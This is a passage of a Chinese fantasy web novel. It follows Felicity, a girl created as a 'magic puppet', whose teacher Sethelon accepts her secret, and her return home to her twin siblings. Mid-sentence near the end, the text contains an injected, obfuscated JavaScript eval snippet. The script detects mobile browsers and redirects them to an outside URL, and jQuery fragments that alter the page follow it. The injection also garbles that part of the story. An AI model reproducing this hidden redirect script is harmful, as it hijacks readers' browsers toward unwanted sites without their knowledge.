他知道了我的身份,那安贝、赛卡他们呢? 她抿紧嘴唇,被方才愉悦气氛调动起来的红润脸色瞬间惨白一片,琥珀色的眼睛直直盯着塞瑟隆,声音颤抖: “塞瑟隆老师,那您打算怎么处置我?” 他像没听出她话里的沉重,反而用手指点着下巴,眯起眼,摆出学术探讨的架势:“‘处置’?我们都知道,‘处置’一般用于东西,或者要解决的问题。而你——” 他斩钉截铁道:“明显不属于以上任何一类!所以这词用在这儿,极其不合适!” 说完他还极为赞同地点点头,然后伸出手,掌心向上,做出一个邀请击掌的姿势,满脸写着“快,跟我一起认同这个伟大结论”。 完全跑偏,近乎耍无赖的回答。 菲莉西蒂胸口上下起伏。这些年的提心吊胆,对自身存在的怀疑恐惧,还有对被发现后的噩梦,此刻全涌了上来。她难得提高了声音,那声音里带着她自己都没察觉到的绝望: “您知道我问的是什么意思!” 话音刚落,菲莉西蒂自己先愣住了。这是她第一次用这种近乎尖锐的语气对人说话,对方还是个只见过两次的陌生人。她慌忙垂下眼,试图盖住瞬间涌上的湿意。 算了。反正大概也逃不掉了。 塞瑟隆还是笑着:“我当然知道你在怕什么。” 他没有任何迟疑,直接从椅子上起来,坐在床边,偏过头,努力跟低着头的菲莉西蒂对上视线。 “你在担心,因为你是所谓的魔偶,所以我会把你当成危险品,把你关进监管所或者……直接清除。” 菲莉西蒂屏住呼吸,手不住颤抖。 “但是我对这些没兴趣。” 塞瑟隆直视她抬起的眼睛,耸肩道: “我看到的,是个会在同伴危险时选择留下,是个刚醒过来,虚弱得连水杯都拿不稳,却先记得同伴安慰的好孩子。” 他轻拍菲莉西蒂的脑袋。 “对我来说,这些,就够了。” 25. 对话 菲莉西蒂怔怔地看着他,头顶被宽大手掌触碰过的地方突然变得无比炙热。恐惧与惶惑夹杂,还有一丝她极为陌生的情绪,让菲莉西蒂不自控地发出质问。 “您不害怕我伤害别人吗?!”她的声音发颤,琥珀色的眼眸里充满着难得的尖锐攻击性,却不知道自己浑身颤抖的样子完全暴露了她此刻的脆弱,音调陡然拔高:“我、我可是……是黑魔法造物!是魔偶!” 她急促喘息着,手指死死掐入掌心。那些在无数个深夜里啃噬着她的噩梦,那些记忆里的冰冷评估和厌恶眼神,此刻全都翻涌上来,堵在胸口,让她仿佛困于潮水中,无法呼吸。 奇怪…怎么视野开始模糊了…明明已经很久没哭过了…… “他们都说、说我们是怪物,是不该存在的东西!你知道了怎、怎么还能……” 怎么还能这样平静地触碰她?怎么还能用那种看着正常人一样的眼神看着她?这不合理!这太危险了!她应该被隔离,被审查,被处理掉! 就像自己无数次想象的那样! 她激烈的情绪甚至让在塞瑟隆手中挣扎的铃铛都安静了下来,细链子蜷紧,头顶细环转动着看向床上崩溃的女孩。 塞瑟隆自菲莉西蒂醒后就一直带着的笑终于慢慢收敛。他没有出声,红色眼眸安静地看着她。直到菲莉西蒂再也无法装作凶狠的样子,肩膀不住地颤抖,他才缓缓开口:“听着,菲莉西蒂。” “魔偶的本质,依旧是人类。” 塞瑟隆与盈满泪水的琥珀色眼睛对视着,平静道:“所谓的‘魔偶’,不过是战争时期,那些躲在阴影里的渣滓为了掩盖自己进行禁忌实验的罪行,而强行贴上的卑劣标签。至于你们体内的魔偶核心——” 他嗤笑一声,满是不屑。 “不过是那群垃圾为了更方便地控制你们,而强行植入的能量结晶。它绝不能定义你到底是谁。战争时期,很多东西都被扭曲了。定义、立场、善恶……全都混成一团,难以分辨。” “但是,菲莉西蒂。”塞瑟隆认真叫着她的名字。 不是什么魔偶,不是什么1号。 “现在不是了,战争已经结束了。” “你有选择的权利。”他的嘴角再次上扬,是发自内心的笑容,“可以选择成为什么样的人,过什么样的生活。这条路,也许比别人更窄,更崎岖,路上可能有更多的荆棘和迷雾,但它绝不是死路哦~” 塞瑟隆微微前倾,红眸在晨光的照射中显得格外温柔。 “它通向哪里,由菲莉西蒂你自己来决定。” 菲莉西蒂就这么听着。 那些包裹着她的壳,是如此无比坚硬又冰冷绕人,但是在此刻,它终于在内部被敲击出了第一条裂痕。 她慌忙低下头,额头抵住蜷起的膝盖,让垂落的黑发如以往那样,隔绝掉外界所有的视线,也藏住自己不能被外人看到的表情。 就在视线彻底被水光遮掩的同时,胳膊与膝盖遮掩的空隙边缘处,出现了一抹白色。 一张边角整齐的手帕,静静递到了她的眼前。依旧是那副熟悉的黑色手套。 “全新的,没用过的哦~”塞瑟隆的声音在一旁响起,仍然是那略带调侃的轻松调子,好像根本没注意到她此刻的狼狈。 菲莉西蒂没动,手指紧紧揪着毛毯。 拿着手帕的手也极有耐心地停在那里,没有催促,没有收回。 不知过了多久,可能只有几秒,也或者是一个世纪般漫长,菲莉西蒂终于缓慢地伸出了颤抖的手。 她的指尖先触碰到了柔软的棉布,然后是塞瑟隆手套冰凉的皮革边缘。她迅速缩起手指,只捏住了手帕的一角,小心接过。她没有用它擦拭泪水,只是紧紧地攥在手里,柔软的布料贴着掌心。 许是觉得尴尬,菲莉西蒂低着头,鼻音浓重,声音闷闷地从垂着的黑发里传出来,伴随着不由自主的抽噎声:“塞瑟隆老师……您、您是什么时候……知道的?” 一直不敢出声的主角:好生硬!好明显的转移话题!! 但塞瑟隆却完美地接过了话头。 “什么时候啊……”语气夸张上扬,塞瑟隆甚至闭上了眼睛,眉头紧锁,五官皱在一起,好像正努力在脑中打捞出一段极不起眼的回忆。 其实根本不用想。 塞瑟隆对魔力波动有着极为敏锐的感知力,这种能力远超常人。这也是他在苍白之灾中被忌惮的原因之一。 原本只是想出去散散风,在意外看见黑发女孩时,塞瑟隆就捕捉到了那股异常特殊的魔力波动。令他意外的是,安置在女孩体内的能量结晶被强大的意志力死死束缚着,同时也封印住了她的本源魔力,像是把一颗耀眼的珠宝,强行按进了天鹅绒匣子的最底层。 但他同样能从女孩和朋友的相处中看出,这只是一个在努力与周围建立联系的孩子罢了。 只是因为她想得太多,所以会走得比旁人更笨拙。 塞瑟隆·奥布莱顿见过太多被战争彻底摧毁的人,还有许多像女孩这样,从诞生之初就被迫承载战争黑暗、本应被好好爱护的珍宝。他选择战斗,正是为了让从废墟的夹缝中,挣扎着探出头来的新芽,终有一日,能自由决定生长的方向。 而现在,看着久久听不到回答后小心抬头观察、结果不知道自己含着水光的琥珀色眼睛有多么显眼的菲莉西蒂,他只是笑了笑。 “大概就是直觉告诉我的时候吧。” 塞瑟隆打了个响指,宣布道:“好了,自我介绍环节结束!” 同时不知从哪儿摸出一个漆黑圆盘,上面好像刻着什么东西,菲莉西蒂看不太清。只见塞瑟隆装模作样地看了看,煞有介事地点头,“嗯,根据‘谈话计时器’显示,显然已经到了未成年人的强制休息时间。” 他把那古怪玩意随手塞回口袋,竖起一根手指认真道:“小孩子折腾了一夜,现在必须得赶紧躺下睡觉哦~” 塞瑟隆起身,打算去把窗帘拉上。 “叮铃叮铃!!” 误以为他就要这样离开的铃铛瞬间脱离装死状态,用尽全力在他手里扭动,发出带着哭腔的抗议,这一次并没有在菲莉西蒂脑海中响起,而是只在小范围内才能听到的传声魔法: “主角才不要跟你这个可怕的家伙待在一起!” “哎呀~作为魔王制造的魔器,气势还是很足的嘛!”塞瑟隆把挣扎的铃铛拎到眼前,笑眯眯地晃动了几下。 菲莉西蒂捕捉到关键词,完全忘了自己藏起脸的初衷,身体坐直,困惑地看向塞瑟隆:“魔王?” 铃铛好像意识到了什么,原本还试图摆脱的身体也僵硬了,意料之中地听到了菲莉西蒂通过灵契连接传送过来的话语:“最诚实。” 还带着她未褪去的哭腔。 这个时候就别吐槽主角了行吗!! 塞瑟隆看着菲莉西蒂茫然又有些咬牙切齿的表情,再结合他感受到的属于铃铛和女孩之间的波动连接,心里的猜测才真正落实。 作为魔偶核心的能量结晶融合着属于魔王的一丝魔力,虽然很微弱,但也足够唤醒并吸引这枚对特定波动敏感的魔器。再从二者之间莫名的熟悉感基本可以判断,接触他所布置封印的,应该就是菲莉西蒂了。 虽然这并不重要,因为现在还有更要紧的事: 得赶紧满足孩子的好奇心,让她赶紧睡觉! 塞瑟隆清了清嗓子,用食指在空中虚点两下,摆出一副即将开课的架势,虽然脸上的戏谑笑意完全破坏了本该严肃的氛围。 “咳咳,那么,塞瑟隆课堂第一课正式开始!”他抑扬顿挫,“在战争期间,魔王为了应对战局,曾倾注心血制造出了五件功能各异的魔器。” 他全方位向菲莉西蒂展示手中无语的铃铛:“这枚就是其中之一啦~主要能力就是精准感知,唔,虽然没啥攻击力,但在一些特定情况还是很有用的。” “主角是超级有用好不好!!等主角回到主人身边!一定要报你封印主角的仇!”它很有气势地嚷嚷着。 菲莉西蒂抿嘴,这才意识到什么。她看着塞瑟隆依旧饶有趣味的表情,再看向生龙活虎的铃铛,回想起这一路上对方的话语,犹豫再三,最终还是选择出声:“可是,主角,魔王早就在苍白之灾中死去了。” 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菲莉西蒂赶忙伸手,就像他们初见般那样,一个铃铛掉了下来,落进她的掌心。 她下意识碰了碰铃铛冰冷的外壳,抬头看向塞瑟隆,迟疑道:“塞瑟隆老师,这是?” “我感觉它挺喜欢你的~”塞瑟隆挑眉,哼哼笑着,“发现它解封算是意外收获,刚巧让我发现南雾森林的屏障,我原本也没打算把它怎么样。一个在战场上胆子很小,从不敢利用自己能力伤人的魔器,实在没什么再封印的必要。” 菲莉西蒂还想说什么,却忍不住打了个哈欠,打完又立刻捂住嘴,有些不好意思地看向塞瑟隆。 塞瑟隆双手食指在唇前交错打叉,不再多说,起身走到窗边,将窗帘拉拢。他走回床边,坐在椅子上,认真看着菲莉西蒂。 “睡吧。我在这呢~” 菲莉西蒂轻轻点头,把一声不吭的铃铛小心放在枕边,自觉把自己装进温暖的被子里躺了下来。眨了几下眼睛后,她又坐起,在塞瑟隆疑惑的目光中从床边的布包找出一个小瓶子,这是她自己调配的舒缓草药膏,所幸没有损坏。 她用指尖沾了一点清凉的药膏,轻柔地涂抹在铃铛冰凉的金属表面,特别是那些繁复花纹的缝隙处和它头顶的圆环。 “哭多了对眼睛不好,要好好护理才行。”她小声叮嘱。 铃铛静静躺着,没有任何回应,与之前在森林里的活力四射形成鲜明对比。 但当她涂完药膏,拿出刚刚那块她珍视握着的白色手帕,轻轻将铃铛包裹起来时,铃铛极其轻微地在她的指尖边缘,蹭了一下。 菲莉西蒂嘴角弯起,将包好的铃铛妥帖地放在枕边,和塞瑟隆对上目光时,脸迅速变红,她迅速钻进被窝,立刻闭上眼睛。 没事的,塞瑟隆老师说好会陪着我的,这里是安全的。 一天的奔波疲惫很快席卷了她,菲莉西蒂就这样陷入沉睡,这一次,明明如此近距离接触到了如此恐惧的过去,可噩梦却终于不再席卷而来。 塞瑟隆静静看着床上安然睡去的女孩。她脸上还有残余的泪痕,但两只手安静地抓着被子,看上去极为乖巧。 他认真地控制着手中的力道,用热毛巾将女孩脸上的痕迹擦去并小心轻敷。这次,没有留下红痕。 这时,一道只有他能听见的爽朗女声在脑海中响起: 【大哥!在希尔维斯特找到医生线索了吗?安莉卡和赫蒙还算可靠吧?别再一个人乱跑了,你的身体现在可不太行了!】 塞瑟隆看着菲莉西蒂沉静的睡颜上,嘴角轻轻向上弯起,语气轻松愉快,甚至还带着点小小的炫耀: 【放心,艾瑞希,我好得很。这次运气超好哦~虽然没找到医生,但碰到了一个特别好的孩子。】 晨光从窗帘的缝隙溜进来,在女孩柔软的黑发镀上一层浅浅的金边。 他眼底的笑意加深。 【而且很巧哦!她叫菲莉西蒂~】 【和我以前偷偷想过,如果将来有个女儿,要给她取的名字,一模一样呢。】 26. 留影 阳光透过层层叠叠的枝叶,碎成无数晃动的亮斑,落在人身上,暖洋洋的。 菲莉西蒂僵着身体,小心抓着科琳腰间的皮带。她今日难得穿着常服,看上去倒像是位温柔的姐姐。而她们正站在一个仅容二人站立的坚实平台上,飞速在空中穿过。 是菲莉西蒂打工并多次路过飞行仪器店时看到过的经典款,很薄,还刻着许多繁复的纹路,会在运行时亮起。仪器前端立着可根据人习惯摆放手高度而自由伸缩的操纵杆,顶端镶嵌着水晶,为其提供魔力。 此刻,科琳双手扶着操纵杆,驾驭着平台在百米高空平稳滑行,风迎面拂来,将她棕色短发吹得向后扬起,露出侧脸。 菲莉西蒂悄悄望去,虽然科琳老师身量比她还略矮些,但那永远挺直的肩背,却让人觉得格外可靠。 科琳似有所感,微微侧脸,余光扫过身后拘谨的学生,关切道:“怎么了,菲莉西蒂?是怕高吗?” 菲莉西蒂赶紧摇头,偷看被发现后的羞涩涌上,脸颊通红。她轻轻踮脚,缓解因紧绷双腿而导致的酸胀,这还是她第一次在校外和科琳老师相处,稍稍有些紧张。 突然,贴着腰间的布包,传来一阵顶撞的力度。 她好不容易稳定下来的心又开始猛烈跳动。菲莉西蒂下意识看了一眼科琳,见老师的注意力已转回前方,正专注对照着她家的地址调整飞行方向,这才极小心地悄悄掀开布包。 里头正上演着一出无声的对抗。 只见原本好端端躺在软帕中的铃铛,正对一颗不小心滚到它身边的红色水晶大展链脚。可惜它的链子比起圆润的水晶来,显得格外纤细,颤颤巍巍地努力支棱着,也只将水晶顶起一个极小的弧度。那代表嘴巴的缝隙嫌恶地撇着,它巴不得自己能再长出几条链子,好把这个带着恶心气息的大家伙给一链踹翻。 它正铆足劲儿艰难对抗呢,就察觉视野一亮。铃铛懵懂抬头,就看见一双琥珀色的眼睛,正清清楚楚地目击了它方才所有不甚雅观的暴力行为。 视线在空中相撞的瞬间,它那几根努力支棱的细链立即松懈,整个铃铛老老实实倒在帕子上。偏偏那红色水晶因为失去支撑,猛地往下一砸,咚地贴在了铃铛冰凉的身上。 即便如此,主角还是一动不动,仿佛自己真是一枚没有生命的普通铃铛。 菲莉西蒂没说什么,却能感受到自昨晚便死寂一片的精神连接难得传来些许波动,透着尴尬的情绪感知,还有一丝被抓包的懊恼。 明明在森林里,它撒谎骗她时,传递过来的情绪波动都很平静呢。 菲莉西蒂默默想着,手指已经探入布包,将对铃铛精神造成重大伤害的红色水晶捏起,放进布包内侧另一单独隔层中,与铃铛远远分开。她不动声色地合拢布包,轻轻隔着粗糙的棉布,在铃铛所在的位置安抚似的按了按。 自昨日后,她与铃铛之间的精神连接就异常沉寂。遭受重击的主角一直抑郁寡欢,连带着精神都颓靡了下去。其实作为契约已完成方,菲莉西蒂是可以通过契约那微弱的连接,直接探入主角此刻脆弱的精神领域,强行控制,让身为魔王魔器的它成为自己的趁手工具。 但她没有。 那种未经允许的侵入,哪怕对象只是一件魔器,也让她觉得像在窥探他人最私密的伤痛,是种不尊重的冒犯。菲莉西蒂感同身受地想了想,如果有一天她突然被告知,那些她一直珍视的人们已经死去时,自己一定也会很难过。 不,不是这么简单的描述。 她一定会失去活下去的动力吧。 只是菲莉西蒂没想到,主角沉寂这么久后传来的第一丝清晰情绪,居然是因为一颗水晶。她的思绪便不由自主地,落到了方才那枚被万分嫌弃的红色水晶上。 当她苏醒时,感受到的是一种久违的安稳感,她睡了自逃出研究所后最舒服的一次觉。没有噩梦侵袭,连在暴走前的饥饿也全消失了,仿佛被什么东西喂饱了,她像是躺在最柔软的棉絮中,被暖洋洋的阳光包裹着,温暖无比。睁开眼后,守在她床边的,并非预想中那个总带着不正经笑容的高大身影,而是满眼关切的科琳老师。 见菲莉西蒂醒来,她立刻倾身过来,仔细打量她的气色,又伸手探查她额头的温度。 “感觉如何?”科琳的声音放得很轻。 “很…很好。”菲莉西蒂当时还有些懵懂,下意识回答,目光却忍不住扫过房间。 科琳注意到了她的动作,眼神复杂。她没多言,只是取出一枚红色水晶,拉起菲莉西蒂的手,轻轻放在她掌心。水晶触手温润,看上去品质极好。 “塞、塞瑟隆…老师临时有要事,已经先行离开。” 不知道为什么,科琳在说出对方名字时,嘴角微微抽动,表情僵硬,“这是他留给你的,由我代为转交。” 菲莉西蒂用双手合拢将水晶包裹,轻轻摩挲。从科琳老师对她如一的态度可以看出,塞瑟隆老师显然并未向她透露关于自己魔偶身份的任何信息。那么,菲莉西蒂偷看一眼正为她准备食物的科琳,说不定塞瑟隆老师也没和她说明关于主角的事。 之后,科琳又以她一贯清晰有条理的方式,简要告知了菲莉西蒂南雾森林考试的后续。 残余的魔物已由后续赶到的援军接手处理,所有被困学生均已安全返回,令人意外的是,此次魔物虽数量不少,行动却显得混乱,与战时记录的残暴风格迥异,并未对学生下死手,倒是对守在内部的领主护卫施以致命攻击,有多人伤亡。 “学生们被陆续营救出来后,许多闻讯赶来的家长情绪非常激动,现场一度混乱。” 科琳看向菲莉西蒂,她从艾特南口中得知,菲莉西蒂也是少数认出魔物及黑魔法师存在的学生之一。她沉重道:“学院和领主府已达成共识,为避免引发不必要的恐慌,对外统一口径为西部梵希兰德兽潮裂缝错误移位,少数知情的学生已被郑重叮嘱,不得外传真相。” “毕竟,魔物再现这种消息,足以引起人们最深层的恐惧,会造成不可预料的恐慌。” 菲莉西蒂安静听着,点了点头,她回忆起晕倒之前的片段,虽然之前塞瑟隆老师明确和她表示,周围的学生已经撤离,但还是想亲自得到确认。 科琳却像是早就猜到她要问什么般,继续道:“赞达和艾特南他们一直在临时营救点等着,不肯回去,直到确认你被平安带出,他俩才松了口气。赞达那孩子,眼睛都哭肿了。” 她没说太多,但菲莉西蒂已经能想象出赞达焦灼等待的模样,至于艾特南,估计是想看看自己的眼中钉能不能在黑魔法师手里好好活下来吧。 科琳还特别叮嘱了菲莉西蒂关于魔力暴走后的注意事项,神情严肃:“菲莉西蒂,魔力暴走绝非小事,尤其是你当时那种程度的剧烈释放。” 她没有追问为何一个魔力评级平平的学生能爆发出那样惊人的攻击,言辞恳切,“未来一段时间,你必须严格控制魔力使用,好好修养。” “我稍后会亲自送你回家,”科琳最后说道,“你的家人一定很担心。” 大概是顾虑她身体初愈,直接用飞行魔法可能不太稳妥,科琳选择了运行更平稳的仪器代步。 无边无际的绿色树海从身边飞速掠过。 从主城区域那些铭刻着防护法阵的华丽树屋,逐渐过渡到城外村落朴素却井然有序的居所,慢慢地,随着她们的移动,人烟也逐渐隐去。科琳远远便看见粗壮的枝干上缀满了房屋,一层叠一层,悬桥与木梯如蛛网般交错其间。 房屋挨着房屋,排布紧实,像是蜂巢安置在巨树之中。这里是战后奥烈弗领主力排众议,为安置流离失所者统一规划建造的村落之一,远远望去,密密麻麻,而菲莉西蒂就在这安然长大。 平台轻盈降落在树脚下。这里有一片被特意清理出来的草地,边缘立着简单的指引木牌,是每处村落默认的飞行仪器起降点。科琳在水晶上一扫而过,平台便稳稳触地。她率先利落地跳下,向因长时间悬浮而有些腿软、正试探着活动脚踝的菲莉西蒂伸出手。 “我们到了。” 菲莉西蒂害羞握住科琳的手,借着她的力道稳稳落地。还没站稳,两个小小的身影就像出膛的子弹,从阶梯上冲了下来。 “姐姐!” 安贝和赛卡带着哭腔一头扎进了菲莉西蒂的怀里,紧紧抱住她的腰。两个小家伙眼眶红肿,小脸上泪痕纵横交错,头发也乱糟糟地翘着,显然是哭过许久。 “我们好害怕!”安贝哽咽,脸死死贴着她的腹部,“昨天下午开始,就觉得心里慌慌的,好像……好像姐姐遇到了很可怕很可怕的事情……” “晚上也做噩梦了,”赛卡抽泣着补充,“梦见姐姐在很黑很冷的水里,一直往下沉!我们怎么叫,你都听不见……” 菲莉西蒂立刻蹲下身,将两个孩子紧紧搂在怀里,手臂环住他们微微发抖的脊背,轻轻拍抚着。 “没事了,没事了。姐姐回来了,你看,好好的,一点事都没有哦~” 双胞胎刚诞生时,研究员发现他们并不具备亲本应有的攻击能力,便很快失去兴趣,如处理无用的零件,将两个婴孩随意搁进了1号所在房间的隔壁。偶尔在为1号送餐时,研究员们也会随意为它们准备些吃食,大多时候常会遗忘。 毕竟,像154·Ⅰ和154·Ⅱ这样的无继承能力魔偶,本就在研究所里自生自灭。 而最先知道小魔偶们共感能力存在的,是1号。 它安静躺在铁床上,却总在深夜感知到隔壁传来恐惧和无止境的饥饿。于是它会主动对研究员说自己可以进行实验了,以换得他们进入这片区域时往隔壁顺路捎去的食物。 1号失去能力的那天,研究员以为那具瘦小的身体会如往常般奇迹愈合,但它只是就这样蜷缩在床上,任血直流。是隔壁的它们在感受到某种比饥饿更恐怖的东西正将自出生一来便陪伴在它们身边的存在拖入深渊。 它们放声大哭,声嘶力竭,终于引来了人,发现了1号的异常。 1号被救下了,也正因为这场意外,研究员终于注意到双胞胎那变异的共感能力,开始用尽手段强行催化这种天赋,而它们也搬离了原来所在的房间。 但也许是因为在最初那些被遗忘的日子里,它们早已在无人知晓时,将自己的感知向隔壁的温暖一遍遍伸去过,所以它们仍然能模糊捕捉到一号的方位和状态。 逃离研究所后,即使拥有了新的名字和看似平静的新生活,这种本能,依旧刻在双胞胎的意识中。 这时,诺里也急匆匆地跟在双胞胎后面,眉头紧锁,见菲莉西蒂除了脸色苍白些,似乎并无明显外伤,紧绷的肩膀这才稍稍松懈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168373|196665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 科琳简单向诺里再次说明了菲莉西蒂的情况,强调了静养的必要。临走前,她再次看向菲莉西蒂,眼神温柔:“好好休息。” 送走科琳老师,回到家中,桌上早已摆满了许多菲莉西蒂喜欢吃的食物。 双胞胎依偎在她身边,安贝爬上了她一旁的椅子,紧紧贴着她的胳膊,脑袋靠在她肩头,一刻也不愿离开。赛卡则搬了个小凳子坐在她腿边,一直攥着她的衣角不肯松开。两个孩子异常安静,只是瞪着大大的眼睛,一动不动地看看菲莉西蒂,确认她还好好的。 诺里看着又在轻声安抚孩子们的菲莉西蒂,虽然学院将此次事件定性为意外,但他却嗅到了不同寻常的气息,尤其是昨晚双胞胎恐惧的表现。但当他看着明明应该是最害怕的菲莉西蒂强撑着安慰大家,所有追问的话又都堵在了喉咙里。 傍晚,当家中重新归于平静,双胞胎被她和诺里联合哄去睡觉后,菲莉西蒂才终于回到了自己的小房间。她反手关上门,几步走到床边,整个人向前一扑,将自己埋进柔软的被褥里。 但只趴了没多久,菲莉西蒂又挣扎着坐起来,解下布包,小心打开。包里,铃铛正静静躺着,通过微弱的连接,她知道它已陷入沉睡。 菲莉西蒂笑着摸了摸它,又从内侧隔层取出红色水晶,仰面躺倒,将水晶举到眼前。 光线透过小窗跃动进昏暗的屋内,透过水晶,折射出朦胧的赤光,在她脸上投下晃动的光影。菲莉西蒂想了想,试探着注入一丝魔力。 水晶内部的光骤然明亮,随即在眼前投射出一片光幕。 塞瑟隆的身影浮现,背景是一片飞速后退的绿色。影像中的他,眼下有淡淡的阴影,但那副散漫的神态却一如往常。 “哟,菲莉西蒂!”他嬉笑着开口,“先说声抱歉啊,走得急,没来得及亲自和你道别。” 塞瑟隆哼哼两声,眼睛眯起:“我现在和你说的事情要认真听哦~” 菲莉西蒂屏住呼吸,是要警告自己身为魔偶不要轻举妄动吗? “首先最重要的!”男人一脸正经,“科琳老师肯定跟你念叨过了,但我得再强调一遍哦!一定要注意身体!” “你这次的魔力暴走就相当于把原本被你死死关闸的水箱拧开了一点,如果强行再使用魔力,那么就会对已经适应封闭的身体造成巨大伤害。” 塞瑟隆身后的背景不断变动,好像是在树木间不断穿梭,但声音不停。 “至于我们的小主角~老师建议你最好不要让别人知道它是魔器。”黑发男人露出思考的神情,“我想了想,知道它长什么样的人也就那么几个,你估计碰不太上,但它牵扯的东西比较麻烦,能低调就低调嘛~” 他还帅气地腾出一只手打了个响指:“如果它敢不听话,下次见面你和我说。保证给它挑个好地方。” 菲莉西蒂忍不住笑出声,侧躺着伸长手臂看着,脸颊肉抵在被子上鼓起一个弧度。 影像中的塞瑟隆也随着她的转动变化着方向,很巧的是,他也同时笑了,红色的眼眸透过影像望着菲莉西蒂:“是不是要选择魔法高级学院了呀?哼哼,老师现在要教你个好办法,可以避开相关检查哦~” 菲莉西蒂:原来真的有吗?! 在说了相应方法后,塞瑟隆还刻意抛了个夸张好笑的媚眼,影像开始变得模糊,“行了,就这些。好好吃饭睡觉!选个适合你的学院。期待下次见面,再见到健康的菲莉西蒂!” 话语渐弱,光影也逐渐消散。 下次见面吗? 菲莉西蒂还保持着侧躺举水晶的姿势,半晌,才缓慢放下手臂。她翻过身,盯着天花板上木头的纹路看了好一会儿,嘴角翘起,腿不自主地在床边缘晃动着,然后才坐起身,将水晶仔细包好,收进床头的木匣里。 接下来的日子里,菲莉西蒂严格遵守嘱咐,坚持早睡早起,就连日常的生活魔法也很少用。 她会帮诺里整理从图书馆带回来的分类说明,按分门别类地记录好对应编号,还会听双胞胎叽叽喳喳地讲述村里新发生的趣事。 而赞达居然还专门从科琳那要到了她家的地址,大老远飞过来,一看见完好无损的菲莉西蒂就哇哇大哭,把贴着姐姐、冷眼警惕外人的双胞胎都给吓到了。 南雾森林里发生的一系列事情,都被她小心埋进心底最深的角落。 铃铛自那次波动后便再也没有出过声,一直安静地待在布包里。 菲莉西蒂偶尔也会在夜深人静时,拿出塞瑟隆老师给她的红色水晶,就着窗外的月光静静凝望。这块漂亮的红水晶,总能让她莫名想起另一双同样颜色的眼眸,以及那些深深刻在内心的话语。 而在学院安排的修养期即将结束的前两天,一个意想不到的消息,伴随着清晨第一位抵达遥远村落的邮差,打破了这份宁静。 邮差抓着召唤出的信鸽鸟爪子,风尘仆仆,径直飞到菲莉西蒂家树下,仰头呼喊她的名字,然后将一封盖着火漆印鉴的信函,交到了匆匆赶下来的菲莉西蒂手中。 火漆上的徽记极为精致,是菲莉西蒂曾经见到过的样式,印象极为深刻。 巍峨高塔拔地而起,塔尖直贯天穹,没入一片星云之中。 徽记下方,用古老符文书写的字样,在羊皮纸上清晰浮现—— 溯光塔。